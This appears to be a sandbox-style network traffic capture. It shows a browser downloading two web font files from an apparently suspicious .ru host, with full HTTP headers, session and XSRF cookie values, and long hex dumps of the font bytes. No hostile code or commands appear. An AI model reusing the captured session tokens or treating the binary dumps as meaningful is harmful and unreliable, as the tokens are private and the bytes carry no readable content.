laravel_session=eyJpdiI6IjBBVzBEd3FxOEh6Y3pFcS9HSHhyRmc9PSIsInZhbHVlIjoieU52bTNwb2o1aW9tVlh4VVI5Z1NtdXZBU2p5eEIweTlWQWUwT2ZVY2ZQOFJRb2JCeDY1UzZCankzdHgrdXFPbVYrWkVPUlRqRG5RUkh1UWU2ZFNnQVlrTmo4REtWaGNKUTVSa05ZRUFXTDU1Vy84VU8vT2xlemxYN1l4c3pSVzgiLCJtYWMiOiI2MDdmZjVlOGZiNDUzYzkwNWUzODQ5NThiM2E2YWU0YzU2NmM5YTY1MWVhY2IwNDllMWJhNmYzNTYyMzgyZjJkIiwidGFnIjoiIn0%3D
2025-03-20 07:57:07 UTC	1157	IN	HTTP/1.1 200 OK Date: Thu, 20 Mar 2025 07:57:07 GMT Content-Type: font/woff Content-Length: 35970 Connection: close Content-Disposition: inline; filename="GDSherpa-bold.woff" cf-cache-status: EXPIRED Last-Modified: Thu, 20 Mar 2025 07:57:06 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=stSG4hslg%2BXaw%2BOP1appq0CvWT9QLFJU8Lc%2BZkt7Zdet1m1lMBAE4OE6dz1IQxpvB2JCCV9kPXmqgLNZ%2F1RsJO56XmJV4egoirYwV0a7V3LEexoR8EloSL3dxc5D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Vary: Accept-Encoding server-timing: cfL4;desc="?proto=TCP&rtt=9960&min_rtt=9848&rtt_var=2831&sent=4&recv=8&lost=0&retrans=0&sent_bytes=2827&recv_bytes=2325&delivery_rate=286001&cwnd=251&unsent_bytes=0&cid=a97f044da074d995&ts=582&x=0" Cache-Control: max-age=14400 Server: cloudflare CF-RAY: 9233a8221b4d42b8-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=97561&min_rtt=97272&rtt_var=20962&sent=6&recv=9&lost=0&retrans=0&sent_bytes=2824&recv_bytes=1944&delivery_rate=38036&cwnd=242&unsent_bytes=0&cid=4900caedc3e7c8c3&ts=964&x=0"
2025-03-20 07:57:07 UTC	212	IN	Data Raw: 77 4f 46 46 00 01 00 00 00 00 8c 82 00 11 00 00 00 01 24 20 00 01 00 00 00 00 8b 5c 00 00 01 26 00 00 02 93 00 00 00 00 00 00 00 00 44 53 49 47 00 00 8b 54 00 00 00 08 00 00 00 08 00 00 00 01 47 50 4f 53 00 00 01 80 00 00 17 df 00 00 4e b6 ed 42 8f b9 47 53 55 42 00 00 19 60 00 00 02 ad 00 00 04 96 8c 33 79 b9 4f 53 2f 32 00 00 1c 10 00 00 00 46 00 00 00 60 69 c3 7b 5b 63 6d 61 70 00 00 1c 58 00 00 05 1a 00 00 07 3c 97 3f 2b 12 63 76 74 20 00 00 84 dc 00 00 00 2f 00 00 00 3c 29 81 01 c0 66 70 67 6d 00 00 85 0c 00 00 05 c1 00 00 0b e2 3f ae 1b 9f 67 61 73 70 00 00 84 d4 00 00 00 08 00 00 00 08 00 00 00 10 67 6c 79 66 00 00 21 74 Data Ascii: wOFF$ \&DSIGTGPOSNBGSUB`3yOS/2F`i{[cmapX<?+cvt /<)fpgm?gaspglyf!t
2025-03-20 07:57:07 UTC	1369	IN	Data Raw: 00 00 52 61 00 00 9d a4 24 e0 b2 69 68 65 61 64 00 00 73 d8 00 00 00 33 00 00 00 36 1b 16 7d b8 68 68 65 61 00 00 74 0c 00 00 00 21 00 00 00 24 10 f8 09 15 68 6d 74 78 00 00 74 30 00 00 03 80 00 00 07 78 3f 73 90 23 6c 6f 63 61 00 00 77 b0 00 00 03 a8 00 00 03 be 4c 43 25 1c 6d 61 78 70 00 00 7b 58 00 00 00 20 00 00 00 20 03 35 0c fc 6e 61 6d 65 00 00 7b 78 00 00 02 c8 00 00 06 03 d7 eb b7 a5 70 6f 73 74 00 00 7e 40 00 00 06 94 00 00 0b fb 31 2b f3 2c 70 72 65 70 00 00 8a d0 00 00 00 81 00 00 00 8d 19 50 02 10 78 da ed 5c 0d 74 55 d5 95 de 3b 79 dc bc f7 08 21 be 89 21 09 10 52 8d 34 a2 22 28 08 22 2a 22 a2 55 e4 af d6 56 b4 5d 33 ae a9 e3 72 a8 cb 35 63 07 ac 1d 6a f9 b5 2e 01 87 5f e5 37 55 b0 94 89 48 01 15 31 4d 53 45 08 10 10 30 62 a0 11 62 26 86 bf Data Ascii: Ra$iheads36}hheat!$hmtxt0x?s#locawLC%maxp{X 5name{xpost~@1+,prepPx\tU;y!!R4"("*"UV]3r5cj._7UH1MSE0bb&
2025-03-20 07:57:07 UTC	1369	IN	Data Raw: 6d 4b 61 f9 cb c5 67 64 82 82 4c 50 90 0a 9e d5 80 0a 8f d8 d0 5a 50 93 87 f6 4d 78 76 33 28 d9 89 5f e1 9f 58 6f 00 fa 62 4a c9 c6 58 02 4d 49 b1 34 05 52 c2 bd b9 98 e3 3c fc ce 87 9e 2d 14 49 25 f2 62 b4 69 0b 36 ad 37 19 98 93 2d bf 61 4b ab 41 fc c6 66 13 13 66 08 d9 03 5b 3e f6 02 78 70 93 e7 06 70 79 2c e9 1b 98 8d 1e 2b 80 b1 32 30 56 a2 d8 6d 2e 7e d7 a2 2d 4f c6 f2 82 f2 44 50 9d 06 a9 e5 63 d4 bd 88 09 07 84 ea 4a 19 69 2e 5a b5 fe 6a dd 35 2d 3f 04 4a 6a 40 49 35 74 b7 41 46 29 12 bd c9 14 8a 0a a1 a3 af 89 2c 72 78 2a 66 f9 14 24 f8 0b fc 3e 4d 03 20 89 d7 c0 39 03 f4 32 bd 0e bd d2 fd d7 c9 f1 90 1c 2b e4 58 85 11 d2 31 b3 9e b0 7b 4d 51 81 50 b3 0d 52 6b 90 96 17 d1 52 41 39 68 c9 87 e7 2a 80 3e 4f 6f 29 a1 4b c0 f5 f5 f0 1b 53 d1 02 af a9 Data Ascii: mKagdLPZPMxv3(_XobJXMI4R<-I%bi67-aKAff[>xppy,+20Vm.~-ODPcJi.Zj5-?Jj@I5tAF),rxf$>M 92+X1{MQPRkRA9h>Oo)KS
2025-03-20 07:57:07 UTC	1369	IN	Data Raw: b2 ba 7a 4a da ea e0 d7 ab b4 cd b8 2a dd be 76 a5 ab 7d 10 9e 36 57 41 be e5 b5 03 89 35 fb d4 09 55 10 ad d2 b5 57 b9 54 c3 df 59 b5 9b 19 73 89 97 99 16 63 45 bc aa 8b 94 2f 7a 05 b8 bf 7a 54 0d 44 9e 56 25 f2 ff dc b6 75 59 0b 2e 83 37 3d a1 0e 62 3f e4 54 e6 83 ac 4a a4 19 ed 31 c9 d9 9d 7c b7 93 6c 36 c2 ca e0 c5 be c5 dc 73 a9 0d 2a 97 f2 e9 79 da 88 f3 dd ba 92 14 89 af 97 b6 35 ea 18 b4 a0 16 1e a9 c4 5e 7f a7 25 ce 93 87 70 b8 5a 56 e8 5e c5 be 28 a6 54 ef fb 7f 09 7e 73 df a7 fe a3 a5 5a 3d a3 46 c9 3a 6b 95 e9 bd cd d8 83 df 1a 55 aa 8e 22 63 ca 56 15 6a 9d f3 cc 28 3b 5b 82 07 b8 2f e6 3a da 02 0d ac a7 4b e1 81 1a 9c f7 61 71 d6 bb 52 dd fe 6e d8 5b 3d 8f b5 a6 14 e3 dc 0e de e6 73 75 9c 12 cd 35 7d c9 3c 9b 74 46 ec ca 92 6d ea c4 d3 9a 19 Data Ascii: zJv}6WA5UWTYscE/zzTDV%uY.7=b?TJ1\|l6sy5^%pZV^(T~sZ=F:kU"cVj(;[/:KaqRn[=su5}<tFm
2025-03-20 07:57:07 UTC	1369	IN	Data Raw: ce 39 b2 26 d3 ef 5b 11 3c e2 9a 86 f9 46 08 b3 69 51 5b a2 67 3b 98 79 83 3d 92 99 71 80 27 bb e1 39 ce 45 95 79 00 fd d6 20 bb 9e 2d 5e bd d6 7e 16 fb 48 48 eb 0b 58 d2 34 58 fe 1e 44 fa 0f 9c 67 7a a1 55 e2 09 ac aa d6 d6 2f f5 e2 57 5d 47 89 da 5e ac f2 60 37 11 32 76 a9 10 b5 b7 d1 75 43 63 84 95 74 8f ab d2 69 c3 f9 36 d7 95 9d 7d 3d d8 69 85 64 b8 fa 78 c2 d7 2f 41 5d 01 bc c3 1a 77 14 0e ab 36 aa 2c cd 6a fd 1a af d9 8e ad 90 92 f3 6e 4d 15 da 39 5c 74 0b 6f d3 5e d4 3e 3b 45 3c e8 65 af e6 76 b0 82 61 38 6b c4 a5 ed 46 6d 68 c5 6d d7 64 d1 b4 53 f4 b2 36 aa 65 06 6d 5b b3 bc c2 17 d2 bf 41 f4 d2 d3 c9 dc 9a 5a 7d 8d 95 3b 37 69 88 90 93 46 91 5e eb fb 54 f8 f5 70 ef 13 72 ad ef 9d b1 6c 34 e8 ba 57 d1 d1 7b 38 f4 f2 4b fe bc db d1 9c e4 c8 6f eb Data Ascii: 9&[<FiQ[g;y=q'9Ey -^~HHX4XDgzU/W]G^`72vuCcti6}=idx/A]w6,jnM9\to^>;E<eva8kFmhmdS6em[AZ};7iF^Tprl4W{8Ko
2025-03-20 07:57:07 UTC	1369	IN	Data Raw: f5 a6 47 1e d1 09 8c 06 3d 36 90 e0 89 04 77 5a a0 29 be c7 01 b2 ae ec 19 98 db 38 17 8c 8f 02 13 30 c7 1f c8 3c 6d f8 a1 c0 dd 1d c0 8f 2c 78 c0 81 49 0e fc ad b6 db 51 2d 07 e8 fb 74 9f ec b7 03 ee a2 ef c9 de 15 56 aa 7d 77 02 7c c6 1d e8 79 87 40 7f ba 04 b6 3b 11 d0 03 b1 f4 bb c8 5a b2 2d 9f dc 0d f1 43 ff ff 25 9f 44 95 51 80 6b c8 fe 1a dd de 7a ba ce af a4 cb 71 1c 43 ee ef 5a ed d8 fb 1d 39 de 61 e1 cd 92 bf 0c d0 11 b2 37 6c ee 25 89 0f e3 24 17 60 c9 05 52 e4 6d 60 0a 28 e8 86 76 9d 35 a5 58 90 0a f8 0e 28 ed 81 27 d2 00 a9 d0 c2 74 e8 5b 86 fc 37 ad 9e 80 ef 42 93 7a c1 7a 7b 03 0c 68 57 1f 3c 95 85 67 58 32 b0 54 cc b5 2f 66 a5 df 0f dd 2b de eb 52 58 cf 48 b4 8e 02 8f 52 20 c5 07 70 fc 67 fa 29 f0 3e 41 4f e3 fc 97 80 4b e9 19 9a 89 31 66 Data Ascii: G=6wZ)80<m,xIQ-tV}w\|y@;Z-C%DQkzqCZ9a7l%$`Rm`(v5X('t[7Bzz{hW<gX2T/f+RXHR pg)>AOK1f
2025-03-20 07:57:07 UTC	1369	IN	Data Raw: 71 9f 1a 1e 88 cb 70 1e 8a 5b b4 91 7a f1 f6 84 97 e2 ae 91 57 62 e7 35 6f c5 ce 7b 3e 88 9d 26 fd 92 a5 83 6f e2 e7 bb 89 20 c5 78 4c 2c 79 26 ce 64 eb 35 6d bb 8c 6a b5 81 ae 5a 4c 95 dd f8 5b bf 71 47 f1 77 36 5e d5 2e 9e de b2 4f ed d1 63 6a b4 fd 60 53 6d ed 23 53 fd 9f 4a db b2 ee 2b 1a a3 2c d7 3e 53 96 5b f1 6a 9b 32 f4 1a 87 02 d3 d5 aa 37 92 fa bf 74 81 bb 45 00 00 00 78 da 63 60 66 99 c6 1c c4 c0 ca c0 c2 6a cc 72 86 81 81 61 26 84 66 02 e1 08 06 54 c0 8e cc 71 73 74 f3 07 52 0a bf 59 d8 72 fe e5 30 9c e0 d8 c7 e4 a5 c0 c0 30 19 24 c7 fc 82 2d 07 24 c7 c0 0c 00 39 34 0c f8 00 00 78 da 8d 95 09 94 4e 65 1c c6 7f cf 9d 45 a1 6c 61 b2 5c 77 3e 4c a4 84 8c ad 45 cb 0c 2a 29 a4 42 34 4a cb 90 f6 4c 08 63 8b 12 c3 60 b4 20 23 86 66 d0 31 46 26 46 06 Data Ascii: qp[zWb5o{>&o xL,y&d5mjZL[qGw6^.Ocj`Sm#SJ+,>S[j27tExc`fjra&fTqstRYr00$-$94xNeEla\w>LE*)B4JLc` #f1F&F
2025-03-20 07:57:07 UTC	1369	IN	Data Raw: 63 b3 84 db 4c fb b7 2b d9 6b b4 2e d0 5b ea 61 fc 6e 33 2a 9b 6a 9f 91 fb a1 76 29 dd e8 3d 68 7f ff b0 8e a8 c0 c8 5e 64 df de 60 4c cd 32 ee f7 2b 5f 4b b5 dd 4e 9f 44 23 7b ba ed 44 1b d7 43 4b fc ab 97 35 b9 b4 7f 25 9d dc a2 03 c6 dd 5c ed d6 db 76 5a 8d 26 9f 83 d6 d3 24 eb f0 48 ed b5 2c e8 6a 89 d0 dd 72 a0 8c ff be a5 ec 63 19 50 42 fd 24 96 ab 97 79 ac 5f b9 df e2 d4 d3 3c 77 f7 ef a7 1d ba 82 00 00 78 da d4 bd 77 60 d3 c7 d9 38 7e f7 19 92 bc 2d cb f2 5e b2 6c cb 03 4f 59 96 b7 85 59 5e 18 4f 8c 07 78 63 63 1b 63 f6 0e 7b 86 04 08 64 11 c8 24 94 24 84 52 56 48 02 21 4d 9a 84 b6 d0 bc 0d 6d da a6 49 9a b6 69 4a 1a d2 b7 ed eb 24 2d 58 1f ff 9e bb cf b0 2c 5b 49 fb be df 7f 7e 06 5b d2 e9 b9 fb 3c f7 dc 73 cf ba e7 ee 10 83 0e 22 c4 be c5 be 82 Data Ascii: cL+k.[an3*jv)=h^d`L2+_KND#{DCK5%\vZ&$H,jrcPB$y_<wxw`8~-^lOYY^Oxccc{d$$RVH!MmIiJ$-X,[I~[<s"
2025-03-20 07:57:07 UTC	1369	IN	Data Raw: 5f 7c 96 39 83 cb ec 37 98 22 e1 4d a1 46 f8 13 e9 74 26 73 dd fe f6 c8 79 e6 71 e1 f7 c2 16 68 58 e2 4f 6f 78 cb a3 60 5b 80 dc 77 a6 09 ba e4 c3 00 19 7d 59 68 96 d0 10 b8 5c 60 5a 46 4e f0 3b ef f6 fd 4d ac a7 aa a4 f3 15 c6 c0 5d cd 00 52 b8 0c d3 31 00 04 69 6d 3f 3f ad 9f c4 d5 80 14 41 c9 08 88 9d c7 6d 78 31 fc 6b 1b 16 8e dd 16 8e 0d 43 83 cf 71 0d 77 d6 71 d1 77 3f 26 bf 12 4e 5f d3 39 13 61 0b 55 43 63 4a d3 2c 16 5b 86 86 39 75 10 20 86 c9 d8 92 56 47 99 39 c3 82 fd 0c 34 37 12 cd 7e 7c 67 1d fb bb 11 03 91 2b 64 be 3c 0f f3 45 87 4c 28 d9 96 08 2c 2d 71 38 0f 4d 29 12 4f ef 8f 51 64 b8 bf 49 6f 02 c6 86 61 53 d1 61 8b 19 93 7a 92 9c 31 51 29 93 c2 c8 3c ce 32 a7 85 d1 ef d5 d4 7c 0f e3 d3 a7 31 26 ef 84 d1 d3 4b 9f ec 48 4e ee 78 72 a9 f4 ea Data Ascii: _\|97"MFt&syqhXOox`[w}Yh\`ZFN;M]R1im??Amx1kCqwqw?&N_9aUCcJ,[9u VG947~\|g+d<EL(,-q8M)OQdIoaSaz1Q)<2\|1&KHNxr
2025-03-20 07:57:07 UTC	1369	IN	Data Raw: 8c 75 52 7a dc 89 fa ff da 75 5a 10 4e d6 d4 9c c4 cc e9 3d ef 55 8f d9 bf 77 4e 38 29 bf c3 f5 b5 63 72 7b 6e ed 83 9f 09 4f fc 19 48 fe de 04 f5 07 d6 17 f5 dd 54 3f 47 01 28 1a c5 a2 42 5b 9e 9e 07 9d 4b d9 81 f8 55 9d 30 b1 11 56 a1 0e 0d 78 55 e0 5b 81 03 43 2c a0 a0 40 04 86 69 44 58 60 74 50 34 54 0d 88 d7 6a dd 80 b1 45 9f 2e 4e 12 96 a2 8f 85 25 19 4e 84 66 00 b8 7b 5c 80 e4 ea f9 a6 e7 c6 14 d6 a5 a6 d6 15 c5 59 53 18 ad 7d 20 39 db 92 36 25 2b 27 09 3c 40 ea fd a5 84 77 e5 a7 d6 17 c6 18 0b eb d2 f3 db c3 ee fc 8c df 95 9b 9c 60 b5 26 24 e7 0a 8f 88 7e 21 f8 9e 42 25 bf 0f 78 39 04 85 a3 e9 b6 a9 81 98 63 40 41 72 4c 99 b7 0a 0c eb 52 b0 b1 30 c3 e3 0e aa 73 c8 24 24 dc 0c 76 38 4c ca 50 22 11 c3 c3 f4 3a 2f 4f 0f 77 37 0d 0a c1 21 6a 90 8a 38 Data Ascii: uRzuZN=UwN8)cr{nOHT?G(B[KU0VxU[C,@iDX`tP4TjE.N%Nf{\YS} 96%+'<@w`&$~!B%x9c@ArLR0s$$v8LP":/Ow7!j8

Timestamp	Bytes transferred	Direction	Data
2025-03-20 07:57:06 UTC	1376	OUT	GET /GDSherpa-regular.woff2 HTTP/1.1 Host: 8rgz.mdrvgqsm.ru Connection: keep-alive Origin: https://8rgz.mdrvgqsm.ru sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: font Referer: https://8rgz.mdrvgqsm.ru/ufyzhuqpbainyabypeuf6EV4UC6CEKG6UM5T87J61EJZJ4HZU?UIDUYGOKRTPSRPBLRSNIUYNMRDZS Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6InByTnFHa2xCTzZYNk5FY2t6ZEoxMFE9PSIsInZhbHVlIjoiQ1N0ZTE0TEgyZlBLRXZHZXdWOXAya1NrYTVSeXJ6L2hPNEt4Vmx6cFkxRkpoaWtFT1FKRUcyNWIwVHNXTGJHV1ovTUk5ekh1NEMvRTEzL0srYUp4dWZmUU5ScngvU1A5dSt0YlR5NGs5VXNYdjRsSWVyb003RVNFdUVVU1pUYmEiLCJtYWMiOiJiNmMyMzJjZjkwYjQ5OGU4MjY1ZGY4NzRhOTFkY2IyNDFlYTkxZTg2MWU3MDUxMTBjZTJlZDBjNzJmZGNjMDkxIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjBBVzBEd3FxOEh6Y3pFcS9HSHhyRmc9PSIsInZhbHVlIjoieU52bTNwb2o1aW9tVlh4VVI5Z1NtdXZBU2p5eEIweTlWQWUwT2ZVY2ZQOFJRb2JCeDY1UzZCankzdHgrdXFPbVYrWkVPUlRqRG5RUkh1UWU2ZFNnQVlrTmo4REtWaGNKUTVSa05ZRUFXTDU1Vy84VU8vT2xlemxYN1l4c3pSVzgiLCJtYWMiOiI2MDdmZjVlOGZiNDUzYzkwNWUzODQ5NThiM2E2YWU0YzU2NmM5YTY1MWVhY2IwNDllMWJhNmYzNTYyMzgyZjJkIiwidGFnIjoiIn0%3D
2025-03-20 07:57:07 UTC	1157	IN	HTTP/1.1 200 OK Date: Thu, 20 Mar 2025 07:57:07 GMT Content-Type: font/woff2 Content-Length: 28584 Connection: close Content-Disposition: inline; filename="GDSherpa-regular.woff2" Last-Modified: Thu, 20 Mar 2025 07:57:06 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ceWG1mxMjX2kLh2lC8AsQpVAhMBpKoo0JVspukkfflOljtqNOOgADVFXvW0bRLpeliZojhTnEcHAYOjRjrLhdTRhq7dbvDIZfYX4WsA5J7w46uRVc5jwqZPIblBW"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Vary: Accept-Encoding server-timing: cfL4;desc="?proto=TCP&rtt=10734&min_rtt=10292&rtt_var=4175&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2826&recv_bytes=2331&delivery_rate=276719&cwnd=252&unsent_bytes=0&cid=8c167cc1ab4d3693&ts=612&x=0" Cache-Control: max-age=14400 CF-Cache-Status: EXPIRED Accept-Ranges: bytes Server: cloudflare CF-RAY: 9233a822181ff799-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=97536&min_rtt=96935&rtt_var=21358&sent=6&recv=9&lost=0&retrans=0&sent_bytes=2825&recv_bytes=1948&delivery_rate=37794&cwnd=222&unsent_bytes=0&cid=5d0eff4a9a473071&ts=1078&x=0"
2025-03-20 07:57:07 UTC	212	IN	Data Raw: 77 4f 46 32 00 01 00 00 00 00 6f a8 00 10 00 00 00 01 36 78 00 00 6f 47 00 01 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1b 81 bc 3e 1c 89 16 06 60 00 8e 3c 08 3c 09 97 62 11 08 0a 82 c0 68 82 a2 42 01 36 02 24 03 8e 78 0b 87 3e 00 04 20 05 8c 27 07 97 7b 0c 81 0d 5b 78 22 71 04 dd b6 5d c4 a2 0a ca 1b ec 97 68 4a b7 df b3 0a d8 b1 27 dc 0e e2 ce 96 b5 c5 0a 36 ae 32 bb 5b 95 0a ec 05 71 f6 ff ff 7f 7a d2 88 b1 6d 43 77 77 ff 00 08 2a a9 65 55 b0 0a 53 9a a2 10 14 ad 17 8a 9a 11 30 8d c1 53 1a 73 a6 e1 b6 2c ad b0 c2 e4 5c e5 65 96 de 46 b1 26 ef 94 d7 16 8d 6f 55 2a 52 1a 7d 51 f7 43 8e e7 32 b9 54 44 c8 Data Ascii: wOF2o6xoGB>`<<bhB6$x> '{[x"q]hJ'62[qzmCwweUS0Ss,\eF&oUR}QC2TD
2025-03-20 07:57:07 UTC	1369	IN	Data Raw: b6 e1 0a d3 35 11 09 23 e7 fa 68 14 48 a4 32 ac 7c 3c e8 31 a3 7a a7 a2 5d cf 78 5a f4 95 0f 7a 9d f0 7a b2 e4 97 57 f8 13 be d9 d9 8c a2 1d 9b a8 70 25 87 11 46 eb 65 fa 72 22 79 47 8c bc e1 0d 8b 92 c1 66 b3 4d 33 f2 5d 18 55 1b 70 f3 a0 b7 1c 8d 45 19 a1 3c 9d cb 3a e4 db 6a 81 9b 45 b7 f8 c1 e1 b0 ec a7 c9 b6 74 91 bb 98 ef 21 c7 16 ca bf a1 7e 61 b5 c0 03 4a fd 6d 98 ee 1c 94 66 e3 82 64 a7 65 45 ac c3 bb 3e d4 3a f4 39 85 0a fc c7 d9 99 2c 36 4b 7b e8 71 b2 15 36 65 b8 17 34 3a 7a b4 e5 d3 ff 7f d5 b4 7b ef 7b ef ff 0f 80 24 86 93 20 8a 94 9c 42 1a 83 d4 e6 39 3a 30 c6 47 0b 8d 36 e4 39 52 d3 b9 dc 14 bb 6d d7 a5 aa 6a 43 57 ac 6d 10 5d 3a 7b f7 70 e0 8f 3f 50 eb 4f 91 42 fa c8 45 cc b6 01 dd c4 75 9a 4a 9f 0a 5f a5 a0 ff a6 fa 1a f1 cc 13 08 64 64 Data Ascii: 5#hH2\|<1z]xZzzWp%Fer"yGfM3]UpE<:jEt!~aJmfdeE>:9,6K{q6e4:z{{$ B9:0G69RmjCWm]:{p?POBEuJ_dd
2025-03-20 07:57:07 UTC	1369	IN	Data Raw: 5f 95 2a 35 3a 74 eb b1 d7 7e 07 1c 72 8a dc a0 f3 2e bb ea 1a 85 5b be e1 b7 ae 45 16 a7 97 a6 97 a7 d7 a7 b7 df df f6 d1 c7 9f 7c fa d9 e7 5f 7c f9 d5 d7 df 7c db 5d f7 bd 64 0f 0c 27 26 a7 a6 47 33 b3 fb f6 1f 38 78 68 6e 71 69 79 65 75 6d fd e4 a9 b3 e3 8d 73 e7 af 5e bf 79 ef fe 83 87 8f b6 1e 3f f9 f3 9f 58 9a 82 86 1f 14 46 8a 40 1a 1b 7a 01 35 e4 a7 cb 42 c2 8c cb 67 c9 7e 38 c8 2a 82 f2 62 14 42 0d 1b 75 31 c1 78 4a 5e bf 2c 2b 6d 8b 27 04 9e 3e 6d e9 7b 86 76 fb 60 50 1b 34 94 88 22 33 51 bc a1 68 24 f2 32 83 65 61 3f 18 48 15 94 c8 55 27 f2 4b de c9 51 8a dc 48 4d a6 31 ea c4 68 65 e5 5d b1 81 46 26 93 b0 07 f7 31 7a 10 ab d2 82 1f 29 0c 97 2c 1d f4 28 5a 41 13 73 52 90 c2 af a0 ce 1d c8 91 f5 2a 07 8b 48 c9 1f 54 95 4a c4 b9 30 36 d5 68 9c d9 Data Ascii: _5:t~r.[E\|_\|\|]d'&G38xhnqiyeums^y?XF@z5Bg~8bBu1xJ^,+m'>m{v`P4"3Qh$2ea?HU'KQHM1he]F&1z),(ZAsR*HTJ06h
2025-03-20 07:57:07 UTC	1369	IN	Data Raw: a7 3b df f9 4e a3 34 51 9c 16 3a d7 60 d3 dc 02 d4 08 82 04 d1 4f 32 e3 5a ab 72 dc 86 8f 14 96 37 de ad 0a aa 5f 21 4c 44 82 9a e7 f5 70 28 82 4f 23 f1 4c f0 1f 64 40 c9 5d ef 4e 34 73 9b 4f 1b c9 64 37 06 61 ef df 1b 02 4a c5 59 98 4b 0f 36 d0 5a 73 f5 66 c0 15 ed 9b ba b7 ff 63 21 49 05 47 7d 49 d8 17 b6 ee 07 ce d7 67 ec 43 6b 60 27 b7 64 26 32 b9 85 27 73 35 1c 97 af d5 11 87 28 82 6b db ba 8b 44 03 ea 74 51 f8 50 29 92 60 37 24 39 9a f2 78 10 00 7e 0c f8 fb af 87 98 f5 21 fa 03 f0 fe 0b c0 e7 1e 18 3f 20 9f 15 d5 73 9b e0 ea 0d c0 0a 55 22 1f d7 be 95 c7 07 d0 10 c0 9f 4b 7d 9f 65 ef 23 8a 59 c2 cf f6 39 45 cb af 3e 0e 84 bc 8b 2b 32 5e 84 60 79 e3 43 df da 81 bc 1f 6f ed af cd 01 69 36 13 85 22 36 87 26 df 8a bb 36 57 23 cd e1 00 6a 45 42 61 66 80 Data Ascii: ;N4Q:`O2Zr7_!LDp(O#Ld@]N4sOd7aJYK6Zsfc!IG}IgCk`'d&2's5(kDtQP)`7$9x~!? sU"K}e#Y9E>+2^`yCoi6"6&6W#jEBaf
2025-03-20 07:57:07 UTC	1369	IN	Data Raw: fc 84 fb 09 23 4e d3 ba 7f 28 8e 71 11 b6 db ea 4b 87 c4 04 bc 1b 9b 5a 38 ec 42 13 a1 09 df 69 37 99 1a 14 18 87 12 f8 38 3f bd ee b0 ad 34 7f fe fe a1 c6 53 ee bf ff bb a3 5f be 98 44 87 d1 39 8c c2 ff 5f ff ab bd e1 99 eb 7d 62 b1 48 28 0a 09 29 77 a6 55 70 c0 46 c3 ef 87 ba fe f8 99 9d db 78 1a 36 d6 74 7b 64 aa 20 1d b4 0b da 52 ff b3 d9 6a ef a5 a3 cf 1e 4f b4 02 97 09 94 f4 54 1f b3 7b 6d d4 8f 17 ee 2b cb 6b bb f3 ea e3 59 e2 05 ad 79 b9 68 05 49 62 56 99 cd 2c 54 d4 60 96 43 2f d0 0c 20 86 46 3c ac f7 3d 89 a7 0d b5 e3 56 65 b1 b7 00 cd 75 98 87 03 be 30 f6 77 7d 37 26 c2 a1 c8 bb 23 8d 05 33 c9 a9 ba fd 4a 4e 76 e7 e9 b5 cf eb 6f f8 f9 e4 e6 e6 fd f5 f5 c0 ec 74 98 9c c3 35 07 f7 49 c9 89 8f d4 79 6c 76 39 5d c9 d6 fa d1 f5 6f e3 a4 8f ba fa 68 Data Ascii: #N(qKZ8Bi78?4S_D9_}bH()wUpFx6t{d RjOT{m+kYyhIbV,T`C/ F<=Veu0w}7&#3JNvot5Iylv9]oh
2025-03-20 07:57:07 UTC	1369	IN	Data Raw: a5 6f c4 3b 1a f7 4e 18 11 6e b1 04 9b 00 c4 4b da 94 b2 c8 52 e2 05 c3 94 d9 72 ad 27 95 4d df 48 08 4a a6 52 9a b5 26 42 67 0a 38 40 82 a1 65 99 d1 14 0a 63 bb 02 65 03 1e b3 c1 4a 4a 70 14 81 51 bf 67 c4 ef 2d e0 ae 3c b5 8f a9 a0 84 eb 9c 47 12 a6 10 45 87 23 73 0e b0 da 1e 15 0a fc c1 0e 13 a5 50 38 85 2b 3c 7c e5 bc 63 2e ba ec a4 ab 6e 93 1b ca 77 a9 b0 83 40 8e 5a fe f3 ce 37 c6 6d de 9f 7d d0 94 93 1c 3e 5e 7a f2 4c c5 39 f3 28 f5 dd e5 4a 1e bc b4 f4 ca 53 cb 9f 31 a5 e3 9e 77 42 fc 4b e4 12 ff 64 d3 65 37 bf ee 0a 29 21 1a 30 9f 2b 10 db 01 f2 b4 80 14 6f 25 7a 77 ff 40 e5 94 81 a9 41 35 1f 6c 34 47 ab 5d 80 de dd f8 70 fb 7f ad 3c 00 d4 01 16 a0 fc e6 7e 25 3f ba dc 73 f2 84 c3 1e d6 4f 02 c7 cd 8a 6e c5 bb 56 5d 88 d0 30 c3 ca d0 c7 d4 1b 4e Data Ascii: o;NnKRr'MHJR&Bg8@eceJJpQg-<GE#sP8+<\|c.nw@Z7m}>^zL9(JS1wBKde7)!0+o%zw@A5l4G]p<~%?sOnV]0N
